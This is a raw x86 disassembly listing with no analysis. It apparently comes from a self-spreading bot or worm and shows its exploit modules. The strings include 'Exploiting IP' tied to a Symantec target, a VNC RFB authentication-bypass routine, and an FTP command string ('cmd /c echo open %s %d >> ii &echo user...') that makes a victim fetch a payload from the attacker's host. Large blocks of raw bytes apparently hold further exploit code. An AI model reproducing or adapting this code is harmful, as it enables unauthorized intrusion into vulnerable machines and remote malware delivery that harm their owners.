cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
push edi
push 0A8h
push offset dword_432D14
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
push edi
push 0DEh
push offset dword_432DC0
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: ___:0040E884j
; ___:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: ___:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: ___:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: ___:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: ___:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: ___:0040E975j
push ebx
call dword_4CBA6C
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E9F3: ; CODE XREF: ___:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: ___:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: ___:off_4317FCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA14
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_433424
push esi
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
nop
call near ptr 71AB1A6Dh
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p
; ___:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9EC
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp
; ___:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346DC
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: ___:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9D4
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: ___:0040EC4Bj
call dword_4CBA6C
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: ___:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CCE3
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: ___:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB88C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D9A5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: ___:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431800[eax]
push ebx
lea eax, dword_431800[eax]
call near ptr 71AB1A6Dh
nop
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: ___:0040EC9Dj
; ___:0040ECC2j ...
push ebx
call near ptr 71AB1A6Dh
nop
loc_40EE87: ; CODE XREF: ___:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: ___:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: ___:0040EEB3j
; ___:0040EECFj
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE708
call dword_4CB9EC
test eax, eax
jle short loc_40EE97
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CE704
call near ptr 2700000h
nop
jmp short loc_40EE97
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: ___:0040EF00j
; ___:0040EF1Aj
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE6F8
nop
call near ptr 26F107Dh
cmp dword ptr [ebp-4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CE708
call dword_4CBA24
jmp short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_401ACD+2CCAo
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h
dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh
dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 89E890B4h, 50023116h, 0E6FC35FFh, 0E890004Ch
dd 231167Ch, 0CDE89050h, 8D02310Fh, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
dd 0E8905700h, 2251B0Fh, 50E8458Dh, 0D1685757h, 8D0040EEh
dd 5057F445h, 0F92E890h, 45890227h, 0E8458DECh, 68575750h
dd 40EE8Eh, 57F4458Dh, 79E89050h, 6A02270Fh, 0F04589FFh
dd 90D875FFh, 281110E8h, 75FF5702h, 46E890F0h, 57022818h
dd 90EC75FFh, 28183CE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 0E8D875FFh, 230195Eh, 35FF90h, 0FF004CE7h, 435FFD6h
dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h
dd 0C359004Ch
dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh
; DATA XREF: sub_40BD91+34Do
dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h
dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
dd 8B022D0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
dd 5959FFFFh, 0D1E89056h, 68022D0Dh, 0FFFEh, 9997E853h
dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah
dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh
dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Dh, 0FC15FF57h
dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h
dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
dd 6A59FFh, 2D0C57E8h
db 2, 90h
word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao
dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh
dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h
dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah
dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh
dd 10A16690h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h
dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h
dd 7DC08571h, 0E9C38B07h, 548h, 90570A6Ah, 6A6969E8h, 0D49D8971h
dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh
dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
dd 56FFFFFBh, 8B505656h, 5040FC45h, 23DAE890h, 0F883716Ah
dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h, 0FF50858Dh
dd 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh
dd 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h, 458D7A75h
dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh
dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h, 0FDD4B539h
dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h
dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah
dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
dd 4349A4h, 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h
dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 49846816h
dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h
dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh
dd 434944h, 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h
dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
dd 0BF000002h, 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h
dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h
dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h, 7559C085h
dd 0BE0A6A34h, 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h
dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
dd 434898h, 0D2CEE850h, 85590000h, 2A7559C0h, 80BE056Ah
dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h, 0F59C085h
dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh, 45891CC4h
dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h, 481C681Dh
dd 6E90043h, 8D000001h, 0FFFF5085h, 481468FFh, 0E8500043h
dd 0D1BCh, 59C08559h, 0CC850Fh, 6A560000h, 47E86828h, 75FF0043h
dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
dd 9E850Fh, 0B5390000h, 0FFFFFBBCh, 8D562375h, 0FFF72085h
dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h
dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h, 1B6A560Dh
dd 43475868h, 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh
dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
call near ptr 71AB41DAh
nop
push 0
push 1
push 2
call near ptr 71AB3C22h
nop
push dword ptr [ebp+8]
mov dword_4CE71C, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
call near ptr 71AB1746h
nop
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CE71C
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE71C
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: ___:0040FA1Fj
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 2670000h
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41BEA2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: ___:0040FAB4j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41BAFA
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CE71C
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 2670E97h
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: ___:0040FA77j
push esi
call sub_41BA3B
pop ecx
push dword_4CE71C
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
push 1
pop eax
loc_40FAD3: ; CODE XREF: ___:0040FA71j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C500
